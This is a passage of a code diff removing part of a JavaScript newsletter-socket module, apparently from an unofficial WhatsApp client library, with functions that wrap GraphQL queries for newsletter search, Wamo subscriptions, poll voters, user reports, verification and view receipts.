514
- * @param {number} [limit=20]
515
- * @param {string} [startCursor] - Pagination cursor
516
- */
517
- newsletterSearch: async (query, limit = 20, startCursor = null) => {
518
- const variables = { query, limit }
519
- if (startCursor) variables.start_cursor = startCursor
520
- return executeWMexQuery(variables, Types_1.QueryIds.SEARCH, Types_1.XWAPaths.xwa2_newsletters_search)
521
- },
522
- /**
523
- * Fetch recommended newsletters.
524
- *
525
- * @param {number} [limit=10]
526
- * @param {number} [numFollowed] - Number of newsletters the user already follows (used for ranking)
527
- */
528
- newsletterRecommended: async (limit = 10, numFollowed = null) => {
529
- const variables = { limit }
530
- if (numFollowed != null) variables.num_newsletters_followed = numFollowed
531
- return executeWMexQuery(variables, Types_1.QueryIds.RECOMMENDED, Types_1.XWAPaths.xwa2_newsletters_recommended)
532
- },
533
- /**
534
- * Fetch newsletters similar to a given newsletter.
535
- *
536
- * @param {string} jid - Newsletter JID to find similar newsletters for
537
- * @param {number} [limit=10]
538
- */
539
- newsletterSimilar: async (jid, limit = 10) => {
540
- return executeWMexQuery(
541
- { newsletter_id: jid, limit },
542
- Types_1.QueryIds.SIMILAR,
543
- Types_1.XWAPaths.xwa2_newsletters_similar
544
- )
545
- },
546
- /**
547
- * Fetch the list of newsletters the current user is following.
548
- *
549
- * @param {string} [startCursor] - Pagination cursor
550
- * @param {number} [limit=20]
551
- */
552
- newsletterFollowingList: async (startCursor = null, limit = 20) => {
553
- const variables = { limit }
554
- if (startCursor) variables.start_cursor = startCursor
555
- return executeWMexQuery(variables, Types_1.QueryIds.FOLLOWING_LIST, Types_1.XWAPaths.xwa2_newsletter_following)
556
- },
557
- /**
558
- * Fetch admin insights/analytics for a newsletter.
559
- *
560
- * @param {string} jid - Newsletter JID
561
- * @param {string} [period] - Time period e.g. 'LAST_7_DAYS', 'LAST_30_DAYS'
562
- */
563
- newsletterInsights: async (jid, period = null) => {
564
- const variables = { newsletter_id: jid }
565
- if (period) variables.period = period
566
- return executeWMexQuery(variables, Types_1.QueryIds.INSIGHTS, Types_1.XWAPaths.xwa2_newsletter_admin_insights)
567
- },
568
- /**
569
- * Fetch the list of users who voted in a newsletter poll.
570
- *
571
- * @param {string} jid - Newsletter JID
572
- * @param {string} serverId - Server-side message ID of the poll
573
- * @param {string} [option] - Poll option to filter voters by
574
- * @param {string} [startCursor] - Pagination cursor
575
- */
576
- newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
577
- const variables = { id: jid, server_id: serverId }
578
- if (option != null) variables.option = option
579
- if (startCursor) variables.start_cursor = startCursor
580
- return executeWMexQuery(
581
- variables,
582
- Types_1.QueryIds.POLL_VOTER_LIST,
583
- Types_1.XWAPaths.xwa2_newsletters_poll_voter_list
584
- )
585
- },
586
- /**
587
- * Fetch the list of users who reacted to a newsletter message.
588
- *
589
- * @param {string} jid - Newsletter JID
590
- * @param {string} serverId - Server-side message sort ID
591
- * @param {string} [startCursor] - Pagination cursor
592
- */
593
- newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
594
- const variables = { id: jid, server_id: serverId }
595
- if (startCursor) variables.start_cursor = startCursor
596
- return executeWMexQuery(
597
- variables,
598
- Types_1.QueryIds.REACTION_SENDERS_LIST,
599
- Types_1.XWAPaths.xwa2_newsletters_reaction_sender_list
600
- )
601
- },
602
- /**
603
- * Block a user from a newsletter (admin action).
604
- *
605
- * @param {string} jid - Newsletter JID
606
- * @param {string} userJid - JID of the user to block
607
- */
608
- newsletterBlockUser: async (jid, userJid) => {
609
- return executeWMexQuery(
610
- { newsletter_id: jid, user_id: userJid },
611
- Types_1.QueryIds.BLOCK_USER,
612
- 'xwa2_newsletter_block_user'
613
- )
614
- },
615
- /**
616
- * Enable Wamo (paid subscription) for a newsletter.
617
- *
618
- * @param {string} jid - Newsletter JID
619
- */
620
- newsletterEnableWamo: async jid => {
621
- return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
622
- },
623
- /**
624
- * Disable Wamo (paid subscription) for a newsletter.
625
- *
626
- * @param {string} jid - Newsletter JID
627
- */
628
- newsletterDisableWamo: async jid => {
629
- return executeWMexQuery(
630
- { newsletter_id: jid },
631
- Types_1.QueryIds.WAMO_DISABLE_SUB,
632
- 'xwa2_newsletter_wamo_disable_sub'
633
- )
634
- },
635
- /**
636
- * Change the Wamo subscription tier or settings for a newsletter.
637
- *
638
- * @param {string} jid - Newsletter JID
639
- * @param {object} subConfig - Subscription configuration (tier, price, etc.)
640
- */
641
- newsletterChangeWamo: async (jid, subConfig) => {
642
- return executeWMexQuery(
643
- { newsletter_id: jid, ...subConfig },
644
- Types_1.QueryIds.WAMO_CHANGE_SUB,
645
- 'xwa2_newsletter_wamo_change_sub'
646
- )
647
- },
648
- /**
649
- * Fetch Wamo AFS age collection data.
650
- * @param {string} jid - Newsletter JID
651
- */
652
- wamoAfsAgeCollection: async jid =>
653
- executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_AFS_AGE_COLLECTION, Types_1.XWAPaths.xwa2_wamo_afs_age_collection),
654
- /**
655
- * Fetch Wamo asset collection (images/assets for Wamo UI).
656
- * @param {string} jid - Newsletter JID
657
- */
658
- wamoAssetCollection: async jid =>
659
- executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_ASSET_COLLECTION, Types_1.XWAPaths.xwa2_wamo_asset_collection),
660
- /**
661
- * Fetch a Wamo ad-hoc notice by ID.
662
- * @param {string} noticeId - Notice ID to fetch
663
- */
664
- wamoFetchAdhocNotice: async noticeId =>
665
- executeWMexQuery({ notice_id: noticeId }, Types_1.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types_1.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
666
- /**
667
- * Fetch the Wamo identity token for a newsletter.
668
- * @param {string} jid - Newsletter JID
669
- */
670
- wamoFetchIdentityToken: async jid =>
671
- executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types_1.XWAPaths.xwa2_wamo_fetch_identity_token),
672
- /**
673
- * Get Wamo subscription compliance info.
674
- * @param {string} jid - Newsletter JID
675
- */
676
- wamoSubComplianceInfo: async jid =>
677
- executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types_1.XWAPaths.xwa2_wamo_sub_get_compliance_info),
678
- /**
679
- * Get the Wamo user ID version for a newsletter.
680
- * @param {string} jid - Newsletter JID
681
- */
682
- wamoUserIdVersion: async jid =>
683
- executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_USER_ID_VERSION, Types_1.XWAPaths.xwa2_wamo_user_id_version),
684
- /**
685
- * Set the Wamo user ID version for a newsletter.
686
- * @param {string} jid - Newsletter JID
687
- * @param {number} version - Version to set
688
- */
689
- wamoSetUserIdVersion: async (jid, version) =>
690
- executeWMexQuery({ newsletter_id: jid, version }, Types_1.QueryIds.WAMO_SET_USER_ID_VERSION, Types_1.XWAPaths.xwa2_wamo_set_user_id_version),
691
- /**
692
- * Leave a newsletter (unsubscribe).
693
- * @param {string} jid - Newsletter JID
694
- */
695
- newsletterLeave: async jid =>
696
- executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.LEAVE, Types_1.XWAPaths.xwa2_newsletter_leave_v2),
697
- /**
698
- * Create a verified newsletter.
699
- * @param {string} name - Newsletter name
700
- * @param {string} [description]
701
- */
702
- newsletterCreateVerified: async (name, description = null) =>
703
- executeWMexQuery(
704
- { input: { name, description } },
705
- Types_1.QueryIds.CREATE_VERIFIED,
706
- Types_1.XWAPaths.xwa2_newsletter_create_verified
707
- ),
708
- /**
709
- * Fetch newsletter enforcements (ban/restriction info).
710
- * @param {string} jid - Newsletter JID
711
- */
712
- newsletterEnforcements: async jid =>
713
- executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.ENFORCEMENTS, Types_1.XWAPaths.xwa2_newsletter_enforcements),
714
- /**
715
- * Fetch user reports for a newsletter (admin action).
716
- * @param {string} jid - Newsletter JID
717
- * @param {string} [cursor] - Pagination cursor
718
- */
719
- newsletterUserReports: async (jid, cursor = null) => {
720
- const variables = { newsletter_id: jid }
721
- if (cursor) variables.cursor = cursor
722
- return executeWMexQuery(variables, Types_1.QueryIds.USER_REPORTS, Types_1.XWAPaths.xwa2_newsletter_user_reports)
723
- },
724
- /**
725
- * Create a report appeal for a newsletter.
726
- * @param {string} jid - Newsletter JID
727
- * @param {string} reason - Appeal reason text
728
- */
729
- newsletterCreateReportAppeal: async (jid, reason) =>
730
- executeWMexQuery(
731
- { newsletter_id: jid, reason },
732
- Types_1.QueryIds.CREATE_REPORT_APPEAL,
733
- Types_1.XWAPaths.xwa2_newsletter_create_report_appeal
734
- ),
735
- /**
736
- * Check a newsletter link preview.
737
- * @param {string} url - URL to preview
738
- */
739
- newsletterLinkPreviewCheck: async url =>
740
- executeWMexQuery({ url }, Types_1.QueryIds.LINK_PREVIEW_CHECK, Types_1.XWAPaths.xwa2_newsletter_link_preview_check),
741
- /**
742
- * Update newsletter verification status (admin/platform action).
743
- * @param {string} jid - Newsletter JID
744
- * @param {string} verification - Verification status
745
- */
746
- newsletterUpdateVerification: async (jid, verification) =>
747
- executeWMexQuery(
748
- { newsletter_id: jid, verification },
749
- Types_1.QueryIds.UPDATE_VERIFICATION,
750
- Types_1.XWAPaths.xwa2_newsletter_update_verification
751
- ),
752
- /**
753
- * Label a newsletter post as paid partnership.
754
- * @param {string} jid - Newsletter JID
755
- * @param {string} serverId - Server message ID
756
- * @param {boolean} isPaidPartnership
757
- */
758
- newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
759
- executeWMexQuery(
760
- { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
761
- Types_1.QueryIds.LABEL_PAID_PARTNERSHIP,
762
- Types_1.XWAPaths.xwa2_newsletter_label_paid_partnership
763
- ),
764
- /**
765
- * Log newsletter exposure events (analytics).
766
- * @param {{ newsletter_id: string, exposure_type: string }[]} events
767
- */
768
- newsletterLogExposures: async events =>
769
- executeWMexQuery({ events }, Types_1.QueryIds.LOG_EXPOSURES, Types_1.XWAPaths.xwa2_newsletter_log_exposures),
770
- /**
771
- * Update user-specific newsletter setting (e.g. notification prefs).
772
- * @param {string} jid - Newsletter JID
773
- * @param {object} setting - Setting key/value
774
- */
775
- newsletterUpdateUserSetting: async (jid, setting) =>
776
- executeWMexQuery(
777
- { newsletter_id: jid, ...setting },
778
- Types_1.QueryIds.UPDATE_USER_SETTING,
779
- Types_1.XWAPaths.xwa2_newsletter_update_user_setting
780
- ),
781
- /**
782
- * Fetch newsletter ranking features (ML signals).
783
- * @param {string} jid - Newsletter JID
784
- */
785
- newsletterRankingFeatures: async jid =>
786
- executeWMexQuery(
787
- { newsletter_id: jid },
788
- Types_1.QueryIds.RANKING_FEATURES,
789
- Types_1.XWAPaths.xwa2_newsletter_ranking_features
790
- ),
791
- /**
792
- * Send view receipts for newsletter messages (marks them as seen).
793
- * serverMessageIds: array of numeric server-side message IDs.
794
- * Mirrors SendViewReceiptJob in the APK — builds a receipt stanza
795
- * with type="view" and a <list> of <item server_id="..."/> children.
796
- */
797
- newsletterSendViewReceipt: async (jid, serverMessageIds) => {
798
- const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
799
- const receiptId = generateMessageTag()
800
- await query({
801
- tag: 'receipt',
802
- attrs: {
803
- to: jid,
804
- id: receiptId,
805
- type: 'view'
806
- },
807
- content: [
808
- {
809
- tag: 'list',
810
- attrs: {},
811
- content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
812
- }
813
- ]
814
- })
815
- }
816
- }
817
- }
818
- exports.makeNewsletterSocket = makeNewsletterSocket